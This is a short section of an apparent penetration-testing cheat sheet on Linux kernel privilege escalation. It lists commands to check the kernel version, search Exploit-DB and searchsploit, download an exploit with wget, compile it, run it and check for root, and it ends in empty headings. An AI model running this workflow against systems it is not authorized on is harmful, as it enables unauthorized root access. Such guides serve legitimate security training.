18. Kernel Exploits
Check Kernel Version and OS Details
uname -a
cat /etc/lsb-release # or cat /etc/os-release or cat /proc/versionSearch for Kernel Exploits (example)
searchsploit "Linux kernel 4.4.0-116" # If searchsploit is installed.Online Search for Exploits
# Google: linux 4.4.0-116-generic exploit
# Exploit-DB: search for "4.4.0-116"Download Exploit (example using wget)
wget <exploit_url>Compile Exploit (example)
gcc <exploit_file>.c -o <exploit_binary>Set Executable Permissions
chmod +x <exploit_binary>Run Exploit
./<exploit_binary>Verify Root Access
Example if Using Metasploit
Key Concepts:
Last updated